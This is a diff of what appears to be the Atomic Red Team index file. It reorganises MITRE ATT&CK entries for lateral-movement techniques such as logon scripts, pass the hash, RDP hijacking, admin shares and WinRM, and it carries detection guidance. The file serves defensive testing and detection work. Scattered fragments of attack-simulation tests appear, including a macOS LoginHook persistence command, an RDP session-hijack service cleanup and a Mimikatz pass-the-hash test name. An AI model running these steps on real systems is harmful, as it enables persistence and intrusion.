created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - macOS + x_mitre_version: '1.0' x_mitre_data_sources: - API monitoring - System calls - - Process Monitoring + - Process monitoring - Process command-line parameters + x_mitre_detection: Monitor for execution of AppleScript through osascript that + may be related to other suspicious behavior occurring on the system. + x_mitre_platforms: + - macOS x_mitre_permissions_required: - User x_mitre_remote_support: true - id: attack-pattern--5ad95aaa-49c1-4784-821d-2e83f47b079b - modified: '2018-04-18T17:59:24.739Z' type: attack-pattern + kill_chain_phases: + - phase_name: execution + kill_chain_name: mitre-attack + - phase_name: lateral-movement + kill_chain_name: mitre-attack + modified: '2018-10-31T13:45:13.024Z' + created: '2017-12-14T16:46:06.044Z' identifier: T1155 atomic_tests: - name: AppleScript @@ -15309,125 +15367,114 @@ lateral-movement: ' '': technique: + id: attack-pattern--92a78814-b191-47ca-909c-1ccfe3777414 + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Third-party Software - description: "Third-party applications and software deployment systems may be - in use in the network environment for administration purposes (e.g., SCCM, - VNC, HBSS, Altiris, etc.). If an adversary gains access to these systems, - then they may be able to execute code.\n\nAdversaries may gain access to and - use third-party application deployment systems installed within an enterprise - network. Access to a network-wide or enterprise-wide software deployment system - enables an adversary to have remote code execution on all systems that are - connected to such a system. The access may be used to laterally move to systems, - gather information, or cause a specific effect, such as wiping the hard drives - on all endpoints.\n\nThe permissions required for this action vary by system - configuration; local credentials may be sufficient with direct access to the - deployment server, or specific domain credentials may be required. However, - the system may require an administrative account to log in or to perform software - deployment.\n\nDetection: Detection methods will vary depending on the type - of third-party software or system and how it is typically used. \n\nThe same - investigation process can be applied here as with other potentially malicious - activities where the distribution vector is initially unknown but the resulting - activity follows a discernible pattern. Analyze the process execution trees, - historical activities from the third-party application (such as what types - of files are usually pushed), and the resulting activities or events from - the file/binary/script pushed to systems. \n\nOften these third-party applications - will have logs of their own that can be collected and correlated with other - data from the environment. Audit software deployment logs and look for suspicious - or unauthorized activity. A system not typically used to push software to - clients that suddenly is used for such a task outside of a known admin function - may be suspicious.\n\nPerform application deployment at regular times so that - irregular deployment activity stands out. Monitor process activity that does - not correlate to known good software. Monitor account login activity on the - deployment system.\n\nPlatforms: Linux, Windows, macOS\n\nData Sources: Binary - file metadata, File monitoring, Process monitoring, Process use of network, - Third-party application logs, Windows Registry\n\nPermissions Required: Administrator, - SYSTEM, User\n\nRemote Support: Yes" - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: execution - - kill_chain_name: mitre-attack - phase_name: lateral-movement + description: |- + Third-party applications and software deployment systems may be in use in the network environment for administration purposes (e.g., SCCM, VNC, HBSS, Altiris, etc.). If an adversary gains access to these systems, then they may be able to execute code. + + Adversaries may gain access to and use third-party application deployment systems installed within an enterprise network. Access to a network-wide or enterprise-wide software deployment system enables an adversary to have remote code execution on all systems that are connected to such a system. The access may be used to laterally move to systems, gather information, or cause a specific effect, such as wiping the hard drives on all endpoints. + + The permissions required for this action vary by system configuration; local credentials may be sufficient with direct access to the deployment server, or specific domain credentials may be required. However, the system may require an administrative account to log in or to perform software deployment. external_references: - - url: https://attack.mitre.org/wiki/Technique/T1072 + - external_id: T1072 + url: https://attack.mitre.org/techniques/T1072 source_name: mitre-attack - external_id: T1072 object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-05-31T21:30:57.201Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Linux - - Windows - - macOS + x_mitre_version: '1.0' x_mitre_data_sources: - - Binary file metadata - File monitoring - - Process monitoring - - Process use of network - Third-party application logs - Windows Registry + - Process monitoring + - Process use of network + - Binary file metadata + x_mitre_detection: "Detection methods will vary depending on the type of third-party + software or system and how it is typically used. \n\nThe same investigation + process can be applied here as with other potentially malicious activities + where the distribution vector is initially unknown but the resulting activity + follows a discernible pattern. Analyze the process execution trees, historical + activities from the third-party application (such as what types of files are + usually pushed), and the resulting activities or events from the file/binary/script + pushed to systems. \n\nOften these third-party applications will have logs + of their own that can be collected and correlated with other data from the + environment. Audit software deployment logs and look for suspicious or unauthorized + activity. A system not typically used to push software to clients that suddenly + is used for such a task outside of a known admin function may be suspicious.\n\nPerform + application deployment at regular times so that irregular deployment activity + stands out. Monitor process activity that does not correlate to known good + software. Monitor account login activity on the deployment system." + x_mitre_platforms: + - Linux + - macOS + - Windows x_mitre_permissions_required: + - User - Administrator - SYSTEM - - User x_mitre_remote_support: true - id: attack-pattern--92a78814-b191-47ca-909c-1ccfe3777414 - modified: '2018-04-18T17:59:24.739Z' type: attack-pattern + kill_chain_phases: + - phase_name: execution + kill_chain_name: mitre-attack + - phase_name: lateral-movement + kill_chain_name: mitre-attack + modified: '2018-10-17T00:14:20.652Z' + created: '2017-05-31T21:30:57.201Z' atomic_tests: [] T1037: technique: + id: attack-pattern--03259939-0b57-482f-8eb5-87c0e0d54334 + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Logon Scripts description: |- - ===Windows=== + ### Windows Windows allows logon scripts to be run whenever a specific user or group of users log into a system. (Citation: TechNet Logon Scripts) The scripts can be used to perform administrative functions, which may often execute other programs or send information to an internal logging server. If adversaries can access these scripts, they may insert additional code into the logon script to execute their tools when a user logs in. This code can allow them to maintain persistence on a single system, if it is a local script, or to move laterally within a network, if the script is stored on a central server and pushed to many systems. Depending on the access configuration of the logon scripts, either local credentials or an administrator account may be necessary. - ===Mac=== + ### Mac Mac allows login and logoff hooks to be run as root whenever a specific user logs into or out of a system. A login hook tells Mac OS X to execute a certain script when a user logs in, but unlike startup items, a login hook executes as root (Citation: creating login hook). There can only be one login hook at a time though. If adversaries can access these scripts, they can insert additional code to the script to execute their tools when a user logs in. - - Detection: Monitor logon scripts for unusual access by abnormal users or at abnormal times. Look for files added or modified by unusual accounts outside of normal administration duties. - - Platforms: macOS, Windows - - Data Sources: File monitoring, Process monitoring - - System Requirements: Write access to system or domain logon scripts - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: lateral-movement - - kill_chain_name: mitre-attack - phase_name: persistence external_references: - - url: https://attack.mitre.org/wiki/Technique/T1037 + - external_id: T1037 + url: https://attack.mitre.org/techniques/T1037 source_name: mitre-attack - external_id: T1037 - - description: Microsoft. (2005, January 21). Creating logon scripts. Retrieved + - external_id: CAPEC-564 + url: https://capec.mitre.org/data/definitions/564.html + source_name: capec + - url: https://technet.microsoft.com/en-us/library/cc758918(v=ws.10).aspx + description: Microsoft. (2005, January 21). Creating logon scripts. Retrieved April 27, 2016. source_name: TechNet Logon Scripts - url: https://technet.microsoft.com/en-us/library/cc758918(v=ws.10).aspx - - description: 'Apple. (2011, June 1). Mac OS X: Creating a login hook. Retrieved + - url: https://support.apple.com/de-at/HT2420 + description: 'Apple. (2011, June 1). Mac OS X: Creating a login hook. Retrieved July 17, 2017.' source_name: creating login hook - url: https://support.apple.com/de-at/HT2420 object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-05-31T21:30:38.910Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - macOS - - Windows + x_mitre_version: '1.0' x_mitre_data_sources: - File monitoring - Process monitoring + x_mitre_detection: Monitor logon scripts for unusual access by abnormal users + or at abnormal times. Look for files added or modified by unusual accounts + outside of normal administration duties. + x_mitre_platforms: + - macOS + - Windows x_mitre_system_requirements: - Write access to system or domain logon scripts - id: attack-pattern--03259939-0b57-482f-8eb5-87c0e0d54334 - modified: '2018-04-18T17:59:24.739Z' type: attack-pattern + kill_chain_phases: + - phase_name: lateral-movement + kill_chain_name: mitre-attack + - phase_name: persistence + kill_chain_name: mitre-attack + modified: '2018-10-17T00:14:20.652Z' + created: '2017-05-31T21:30:38.910Z' identifier: T1037 atomic_tests: - name: Logon Scripts @@ -15464,6 +15511,8 @@ lateral-movement: write com.apple.loginwindow LoginHook /Library/Scripts/AtomicRedTeam.sh\n" T1075: technique: + id: attack-pattern--c23b740b-a42b-47a1-aec2-9d48ddd547ff + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Pass the Hash description: "Pass the hash (PtH) is a method of authenticating as a user without having access to the user's cleartext password. This method bypasses standard @@ -15473,41 +15522,38 @@ lateral-movement: Access technique. Captured hashes are used with PtH to authenticate as that user. Once authenticated, PtH may be used to perform actions on local or remote systems. \n\nWindows 7 and higher with KB2871997 require valid domain user - credentials or RID 500 administrator hashes. (Citation: NSA Spotting)\n\nDetection: - Audit all logon and credential use events and review for discrepancies. Unusual - remote logins that correlate with other suspicious activity (such as writing - and executing binaries) may indicate malicious activity. NTLM LogonType 3 - authentications that are not associated to a domain login and are not anonymous - logins are suspicious.\n\nPlatforms: Windows\n\nData Sources: Authentication - logs\n\nSystem Requirements: Requires Microsoft Windows as target system\n\nContributors: - Travis Smith, Tripwire" - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: lateral-movement + credentials or RID 500 administrator hashes. (Citation: NSA Spotting)" external_references: - - url: https://attack.mitre.org/wiki/Technique/T1075 + - external_id: T1075 + url: https://attack.mitre.org/techniques/T1075 source_name: mitre-attack - external_id: T1075 - - description: National Security Agency/Central Security Service Information - Assurance Directorate. (2013, December 16). Spotting the Adversary with - Windows Event Log Monitoring. Retrieved November 12, 2014. + - url: https://www.iad.gov/iad/library/reports/spotting-the-adversary-with-windows-event-log-monitoring.cfm + description: National Security Agency/Central Security Service Information + Assurance Directorate. (2015, August 7). Spotting the Adversary with Windows + Event Log Monitoring. Retrieved September 6, 2018. source_name: NSA Spotting - url: http://www.nsa.gov/ia/%20files/app/spotting%20the%20adversary%20with%20windows%20event%20log%20monitoring.pdf object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-05-31T21:30:59.339Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows + x_mitre_version: '1.0' + x_mitre_contributors: + - Travis Smith, Tripwire x_mitre_data_sources: - Authentication logs + x_mitre_detection: Audit all logon and credential use events and review for + discrepancies. Unusual remote logins that correlate with other suspicious + activity (such as writing and executing binaries) may indicate malicious activity. + NTLM LogonType 3 authentications that are not associated to a domain login + and are not anonymous logins are suspicious. x_mitre_system_requirements: - Requires Microsoft Windows as target system - x_mitre_contributors: - - Travis Smith, Tripwire - id: attack-pattern--c23b740b-a42b-47a1-aec2-9d48ddd547ff - modified: '2018-04-18T17:59:24.739Z' + x_mitre_platforms: + - Windows type: attack-pattern + kill_chain_phases: + - phase_name: lateral-movement + kill_chain_name: mitre-attack + modified: '2018-10-17T00:14:20.652Z' + created: '2017-05-31T21:30:59.339Z' identifier: T1075 atomic_tests: - name: Mimikatz Pass the Hash @@ -15556,75 +15602,69 @@ lateral-movement: ' T1076: technique: + id: attack-pattern--51dea151-0898-4a45-967c-3ebee0420484 + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Remote Desktop Protocol description: |- - Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS). (Citation: TechNet Remote Desktop Services) There are other implementations and third-party tools that provide graphical access Remote Services similar to RDS. - - Adversaries may connect to a remote system over RDP/RDS to expand access if the service is enabled and allows access to accounts with known credentials. Adversaries will likely use Credential Access techniques to acquire credentials to use with RDP. Adversaries may also use RDP in conjunction with the Accessibility Features technique for Persistence. (Citation: Alperovitch Malware) - - Adversaries may also perform RDP session hijacking which involves stealing a legitimate user's remote session. Typically, a user is notified when someone else is trying to steal their session and prompted with a question. With System permissions and using Terminal Services Console, c:\windows\system32\tscon.exe [session number to be stolen], an adversary can hijack a session without the need for credentials or prompts to the user. (Citation: RDP Hijacking Korznikov) This can be done remotely or locally and with active or disconnected sessions. (Citation: RDP Hijacking Medium) It can also lead to Remote System Discovery and Privilege Escalation by stealing a Domain Admin or higher privileged account session. All of this can be done by using native Windows commands, but it has also been added as a feature in RedSnarf. (Citation: Kali Redsnarf) - - Detection: Use of RDP may be legitimate, depending on the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with RDP. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time. - - Also, set up process monitoring for tscon.exe usage and monitor service creation that uses cmd.exe /k or cmd.exe /c in its arguments to prevent RDP session hijacking. - - Platforms: Windows - - Data Sources: Authentication logs, Netflow/Enclave netflow, Process monitoring - - Permissions Required: User, Remote Desktop Users + Remote desktop is a common feature in operating systems. It allows a user to log into an interactive session with a system desktop graphical user interface on a remote system. Microsoft refers to its implementation of the Remote Desktop Protocol (RDP) as Remote Desktop Services (RDS). (Citation: TechNet Remote Desktop Services) There are other implementations and third-party tools that provide graphical access [Remote Services](https://attack.mitre.org/techniques/T1021) similar to RDS. - System Requirements: RDP service enabled, account in the Remote Desktop Users group. + Adversaries may connect to a remote system over RDP/RDS to expand access if the service is enabled and allows access to accounts with known credentials. Adversaries will likely use Credential Access techniques to acquire credentials to use with RDP. Adversaries may also use RDP in conjunction with the [Accessibility Features](https://attack.mitre.org/techniques/T1015) technique for Persistence. (Citation: Alperovitch Malware) - Contributors: Matthew Demaske, Adaptforward - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: lateral-movement + Adversaries may also perform RDP session hijacking which involves stealing a legitimate user's remote session. Typically, a user is notified when someone else is trying to steal their session and prompted with a question. With System permissions and using Terminal Services Console, c:\windows\system32\tscon.exe [session number to be stolen], an adversary can hijack a session without the need for credentials or prompts to the user. (Citation: RDP Hijacking Korznikov) This can be done remotely or locally and with active or disconnected sessions. (Citation: RDP Hijacking Medium) It can also lead to [Remote System Discovery](https://attack.mitre.org/techniques/T1018) and Privilege Escalation by stealing a Domain Admin or higher privileged account session. All of this can be done by using native Windows commands, but it has also been added as a feature in RedSnarf. (Citation: Kali Redsnarf) external_references: - - url: https://attack.mitre.org/wiki/Technique/T1076 + - external_id: T1076 + url: https://attack.mitre.org/techniques/T1076 source_name: mitre-attack - external_id: T1076 - - description: Microsoft. (n.d.). Remote Desktop Services. Retrieved June 1, - 2016. - source_name: TechNet Remote Desktop Services - url: https://technet.microsoft.com/en-us/windowsserver/ee236407.aspx - - description: Alperovitch, D. (2014, October 31). Malware-Free Intrusions. + - external_id: CAPEC-555 + url: https://capec.mitre.org/data/definitions/555.html + source_name: capec + - url: http://blog.crowdstrike.com/adversary-tricks-crowdstrike-treats/ + description: Alperovitch, D. (2014, October 31). Malware-Free Intrusions. Retrieved November 4, 2014. source_name: Alperovitch Malware - url: http://blog.crowdstrike.com/adversary-tricks-crowdstrike-treats/ - - description: Korznikov, A. (2017, March 17). Passwordless RDP Session Hijacking + - url: https://technet.microsoft.com/en-us/windowsserver/ee236407.aspx + description: Microsoft. (n.d.). Remote Desktop Services. Retrieved June 1, + 2016. + source_name: TechNet Remote Desktop Services + - url: http://www.korznikov.com/2017/03/0-day-or-feature-privilege-escalation.html + description: Korznikov, A. (2017, March 17). Passwordless RDP Session Hijacking Feature All Windows versions. Retrieved December 11, 2017. source_name: RDP Hijacking Korznikov - url: http://www.korznikov.com/2017/03/0-day-or-feature-privilege-escalation.html - - description: Beaumont, K. (2017, March 19). RDP hijacking — how to hijack + - url: https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6 + description: Beaumont, K. (2017, March 19). RDP hijacking — how to hijack RDS and RemoteApp sessions transparently to move through an organisation. Retrieved December 11, 2017. source_name: RDP Hijacking Medium - url: https://medium.com/@networksecurity/rdp-hijacking-how-to-hijack-rds-and-remoteapp-sessions-transparently-to-move-through-an-da2a1e73a5f6 - - description: NCC Group PLC. (2016, November 1). Kali Redsnarf. Retrieved December + - url: https://github.com/nccgroup/redsnarf + description: NCC Group PLC. (2016, November 1). Kali Redsnarf. Retrieved December 11, 2017. source_name: Kali Redsnarf - url: https://github.com/nccgroup/redsnarf object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-05-31T21:30:59.769Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows + x_mitre_version: '1.0' + x_mitre_contributors: + - Matthew Demaske, Adaptforward x_mitre_data_sources: - Authentication logs - Netflow/Enclave netflow - Process monitoring + x_mitre_detection: |- + Use of RDP may be legitimate, depending on the network environment and how it is used. Other factors, such as access patterns and activity that occurs after a remote login, may indicate suspicious or malicious behavior with RDP. Monitor for user accounts logged into systems they would not normally access or access patterns to multiple systems over a relatively short period of time. + + Also, set up process monitoring for tscon.exe usage and monitor service creation that uses cmd.exe /k or cmd.exe /c in its arguments to prevent RDP session hijacking. x_mitre_permissions_required: - - User - Remote Desktop Users + - User + x_mitre_platforms: + - Windows x_mitre_system_requirements: - RDP service enabled, account in the Remote Desktop Users group. - x_mitre_contributors: - - Matthew Demaske, Adaptforward - id: attack-pattern--51dea151-0898-4a45-967c-3ebee0420484 - modified: '2018-04-18T17:59:24.739Z' type: attack-pattern + kill_chain_phases: + - phase_name: lateral-movement + kill_chain_name: mitre-attack + modified: '2018-10-17T00:14:20.652Z' + created: '2017-05-31T21:30:59.769Z' identifier: T1076 atomic_tests: - name: RDP @@ -15644,44 +15684,24 @@ lateral-movement: sc.exe delete sesshijack T1105: technique: + id: attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Remote File Copy description: |- - Files may be copied from one system to another to stage adversary tools or other files over the course of an operation. Files may be copied from an external adversary-controlled system through the Command and Control channel to bring tools into the victim network or through alternate protocols with another tool such as FTP. Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp. - - Adversaries may also copy files laterally between internal victim systems to support Lateral Movement with remote Execution using inherent file sharing protocols such as file sharing over SMB to connected network shares or with authenticated connections with Windows Admin Shares or Remote Desktop Protocol. - - Detection: Monitor for file creation and files transferred within a network over SMB. Unusual processes with external network connections creating files on-system may be suspicious. Use of utilities, such as FTP, that does not normally occur may also be suspicious. - - Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2) + Files may be copied from one system to another to stage adversary tools or other files over the course of an operation. Files may be copied from an external adversary-controlled system through the Command and Control channel to bring tools into the victim network or through alternate protocols with another tool such as [FTP](https://attack.mitre.org/software/S0095). Files can also be copied over on Mac and Linux with native tools like scp, rsync, and sftp. - Platforms: Linux, macOS, Windows - - Data Sources: File monitoring, Packet capture, Process use of network, Netflow/Enclave netflow, Network protocol analysis, Process monitoring - - Permissions Required: User - - Requires Network: Yes - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: command-and-control - - kill_chain_name: mitre-attack - phase_name: lateral-movement + Adversaries may also copy files laterally between internal victim systems to support Lateral Movement with remote Execution using inherent file sharing protocols such as file sharing over SMB to connected network shares or with authenticated connections with [Windows Admin Shares](https://attack.mitre.org/techniques/T1077) or [Remote Desktop Protocol](https://attack.mitre.org/techniques/T1076). external_references: - - url: https://attack.mitre.org/wiki/Technique/T1105 + - external_id: T1105 + url: https://attack.mitre.org/techniques/T1105 source_name: mitre-attack - external_id: T1105 - - description: Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command + - url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf + description: Gardiner, J., Cova, M., Nagaraja, S. (2014, February). Command & Control Understanding, Denying and Detecting. Retrieved April 20, 2016. source_name: University of Birmingham C2 - url: https://arxiv.org/ftp/arxiv/papers/1408/1408.1136.pdf object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-05-31T21:31:16.408Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Linux - - macOS - - Windows + x_mitre_version: '1.0' x_mitre_data_sources: - File monitoring - Packet capture @@ -15689,12 +15709,25 @@ lateral-movement: - Netflow/Enclave netflow - Network protocol analysis - Process monitoring + x_mitre_detection: |- + Monitor for file creation and files transferred within a network over SMB. Unusual processes with external network connections creating files on-system may be suspicious. Use of utilities, such as FTP, that does not normally occur may also be suspicious. + + Analyze network data for uncommon data flows (e.g., a client sending significantly more data than it receives from a server). Processes utilizing the network that do not normally have network communication or have never been seen before are suspicious. Analyze packet contents to detect communications that do not follow the expected protocol behavior for the port that is being used. (Citation: University of Birmingham C2) + x_mitre_network_requirements: true x_mitre_permissions_required: - User - x_mitre_network_requirements: true - id: attack-pattern--e6919abc-99f9-4c6c-95a5-14761e7b2add - modified: '2018-04-18T17:59:24.739Z' + x_mitre_platforms: + - Linux + - macOS + - Windows type: attack-pattern + kill_chain_phases: + - phase_name: command-and-control + kill_chain_name: mitre-attack + - phase_name: lateral-movement + kill_chain_name: mitre-attack + modified: '2018-10-17T00:14:20.652Z' + created: '2017-05-31T21:31:16.408Z' identifier: T1105 atomic_tests: - name: rsync remote file copy (push) @@ -15873,79 +15906,78 @@ lateral-movement: ' T1077: technique: + id: attack-pattern--ffe742ed-9100-4686-9e00-c331da544787 + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Windows Admin Shares description: "Windows systems have hidden network shares that are accessible only to administrators and provide the ability for remote file copy and other administrative functions. Example network shares include C$, ADMIN$, and IPC$. \n\nAdversaries may use this technique - in conjunction with administrator-level Valid Accounts to remotely access - a networked system over server message block (SMB) (Citation: Wikipedia SMB) - to interact with systems using remote procedure calls (RPCs), (Citation: TechNet - RPC) transfer files, and run transferred binaries through remote Execution. - Example execution techniques that rely on authenticated sessions over SMB/RPC - are Scheduled Task, Service Execution, and Windows Management Instrumentation. - Adversaries can also use NTLM hashes to access administrator shares on systems - with Pass the Hash and certain configuration and patch levels. (Citation: - Microsoft Admin Shares)\n\nThe Net utility can be used to connect to Windows - admin shares on remote systems using net use commands with valid - credentials. (Citation: Technet Net Use)\n\nDetection: Ensure that proper - logging of accounts used to log into systems is turned on and centrally collected. - Windows logging is able to collect success/failure for accounts that may be - used to move laterally and can be collected using tools such as Windows Event - Forwarding. (Citation: Lateral Movement Payne) (Citation: Windows Event Forwarding - Payne) Monitor remote login events and associated SMB activity for file transfers - and remote process execution. Monitor the actions of remote users who connect - to administrative shares. Monitor for use of tools and commands to connect - to remote shares, such as Net, on the command-line interface and Discovery - techniques that could be used to find remotely accessible systems.\n\nPlatforms: - Windows\n\nData Sources: Process use of network, Authentication logs, Process - command-line parameters, Process monitoring\n\nPermissions Required: Administrator\n\nSystem - Requirements: File and printer sharing over SMB enabled.\nHost/network firewalls - not blocking SMB ports between source and destination.\nUse of domain account - in administrator group on remote system or default system admin account." - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: lateral-movement + in conjunction with administrator-level [Valid Accounts](https://attack.mitre.org/techniques/T1078) + to remotely access a networked system over server message block (SMB) (Citation: + Wikipedia SMB) to interact with systems using remote procedure calls (RPCs), + (Citation: TechNet RPC) transfer files, and run transferred binaries through + remote Execution. Example execution techniques that rely on authenticated + sessions over SMB/RPC are [Scheduled Task](https://attack.mitre.org/techniques/T1053), + [Service Execution](https://attack.mitre.org/techniques/T1035), and [Windows + Management Instrumentation](https://attack.mitre.org/techniques/T1047). Adversaries + can also use NTLM hashes to access administrator shares on systems with [Pass + the Hash](https://attack.mitre.org/techniques/T1075) and certain configuration + and patch levels. (Citation: Microsoft Admin Shares)\n\nThe [Net](https://attack.mitre.org/software/S0039) + utility can be used to connect to Windows admin shares on remote systems using + net use commands with valid credentials. (Citation: Technet Net + Use)" external_references: - - url: https://attack.mitre.org/wiki/Technique/T1077 + - external_id: T1077 + url: https://attack.mitre.org/techniques/T1077 source_name: mitre-attack - external_id: T1077 - - description: Wikipedia. (2016, June 12). Server Message Block. Retrieved June - 12, 2016. - source_name: Wikipedia SMB - url: https://en.wikipedia.org/wiki/Server%20Message%20Block - - description: Microsoft. (2003, March 28). What Is RPC?. Retrieved June 12, - 2016. - source_name: TechNet RPC - url: https://technet.microsoft.com/en-us/library/cc787851.aspx - - description: Microsoft. (n.d.). How to create and delete hidden or administrative + - external_id: CAPEC-561 + url: https://capec.mitre.org/data/definitions/561.html + source_name: capec + - url: http://support.microsoft.com/kb/314984 + description: Microsoft. (n.d.). How to create and delete hidden or administrative shares on client computers. Retrieved November 20, 2014. source_name: Microsoft Admin Shares - url: http://support.microsoft.com/kb/314984 - - description: Microsoft. (n.d.). Net Use. Retrieved November 25, 2016. - source_name: Technet Net Use - url: https://technet.microsoft.com/bb490717.aspx - - description: Payne, J. (2015, November 26). Tracking Lateral Movement Part + - url: http://blogs.technet.com/b/jepayne/archive/2015/11/27/tracking-lateral-movement-part-one-special-groups-and-specific-service-accounts.aspx + description: Payne, J. (2015, November 26). Tracking Lateral Movement Part One - Special Groups and Specific Service Accounts. Retrieved February 1, 2016. source_name: Lateral Movement Payne - url: http://blogs.technet.com/b/jepayne/archive/2015/11/27/tracking-lateral-movement-part-one-special-groups-and-specific-service-accounts.aspx - - description: Payne, J. (2015, November 23). Monitoring what matters - Windows + - url: http://blogs.technet.com/b/jepayne/archive/2015/11/24/monitoring-what-matters-windows-event-forwarding-for-everyone-even-if-you-already-have-a-siem.aspx + description: Payne, J. (2015, November 23). Monitoring what matters - Windows Event Forwarding for everyone (even if you already have a SIEM.). Retrieved February 1, 2016. source_name: Windows Event Forwarding Payne - url: http://blogs.technet.com/b/jepayne/archive/2015/11/24/monitoring-what-matters-windows-event-forwarding-for-everyone-even-if-you-already-have-a-siem.aspx + - url: https://en.wikipedia.org/wiki/Server_Message_Block + description: Wikipedia. (2016, June 12). Server Message Block. Retrieved June + 12, 2016. + source_name: Wikipedia SMB + - url: https://technet.microsoft.com/en-us/library/cc787851.aspx + description: Microsoft. (2003, March 28). What Is RPC?. Retrieved June 12, + 2016. + source_name: TechNet RPC + - url: https://technet.microsoft.com/bb490717.aspx + description: Microsoft. (n.d.). Net Use. Retrieved November 25, 2016. + source_name: Technet Net Use object_marking_refs: - marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168 - created: '2017-05-31T21:31:00.200Z' - created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 - x_mitre_platforms: - - Windows + x_mitre_version: '1.0' x_mitre_data_sources: - Process use of network - Authentication logs - - Process command-line parameters - Process monitoring + - Process command-line parameters + x_mitre_detection: 'Ensure that proper logging of accounts used to log into + systems is turned on and centrally collected. Windows logging is able to collect + success/failure for accounts that may be used to move laterally and can be + collected using tools such as Windows Event Forwarding. (Citation: Lateral + Movement Payne) (Citation: Windows Event Forwarding Payne) Monitor remote + login events and associated SMB activity for file transfers and remote process + execution. Monitor the actions of remote users who connect to administrative + shares. Monitor for use of tools and commands to connect to remote shares, + such as [Net](https://attack.mitre.org/software/S0039), on the command-line + interface and Discovery techniques that could be used to find remotely accessible + systems.' x_mitre_permissions_required: - Administrator x_mitre_system_requirements: @@ -15953,9 +15985,14 @@ lateral-movement: File and printer sharing over SMB enabled. Host/network firewalls not blocking SMB ports between source and destination. Use of domain account in administrator group on remote system or default system admin account. - id: attack-pattern--ffe742ed-9100-4686-9e00-c331da544787 - modified: '2018-04-18T17:59:24.739Z' + x_mitre_platforms: + - Windows type: attack-pattern + kill_chain_phases: + - phase_name: lateral-movement + kill_chain_name: mitre-attack + modified: '2018-10-17T00:14:20.652Z' + created: '2017-05-31T21:31:00.200Z' identifier: T1077 atomic_tests: - name: Map admin share @@ -16013,59 +16050,56 @@ lateral-movement: ' T1028: technique: + id: attack-pattern--c3bce4f4-9795-46c6-976e-8676300bbc39 + created_by_ref: identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5 name: Windows Remote Management - description: |- - Windows Remote Management (WinRM) is the name of both a Windows service and a protocol that allows a user to interact with a remote system (e.g., run an executable, modify the Registry, modify services). (Citation: Microsoft WinRM) It may be called with the winrm command or by any number of programs such as PowerShell. (Citation: Jacobsen 2014) - - Detection: Monitor use of WinRM within an environment by tracking service execution. If it is not normally used or is disabled, then this may be an indicator of suspicious behavior. Monitor processes created and actions taken by the WinRM process or a WinRM invoked script to correlate it with other related events. - - Platforms: Windows - - Data Sources: File monitoring, Authentication logs, Netflow/Enclave netflow, Process command-line parameters, Process monitoring - - Permissions Required: User, Administrator - - System Requirements: WinRM listener turned on and configured on remote system - - Remote Support: Yes - kill_chain_phases: - - kill_chain_name: mitre-attack - phase_name: execution - - kill_chain_name: mitre-attack - phase_name: lateral-movement + description: 'Windows Remote Management (WinRM) is the name of both a Windows + service and a protocol that allows a user to interact with a remote system + (e.g., run an executable, modify the Registry, modify services). (Citation: + Microsoft WinRM) It may be called with the winrm command or by + any number of programs such as PowerShell. (Citation: Jacobsen 2014)' external_references: - - url: https://attack.mitre.org/wiki/Technique/T1028 + - external_id: T1028 + url: https://attack.mitre.org/techniques/T1028 source_name: mitre-attack - external_id: T1028 - - description: Microsoft. (n.d.). Windows Remote Management. Retrieved November + - url: http://msdn.microsoft.com/en-us/library/aa384426 + description: Microsoft. (n.d.). Windows Remote Management. Retrieved November 12, 2014. source_name: Microsoft WinRM - url: http://msdn.microsoft.com/en-us/library/aa384426 - - description: Jacobsen, K. (2014, May 16). Lateral Movement with PowerShell[slides]. + - url: https://www.slideshare.net/kieranjacobsen/lateral-movement-with-power-shell-2 + description: Jacobsen, K. (2014, 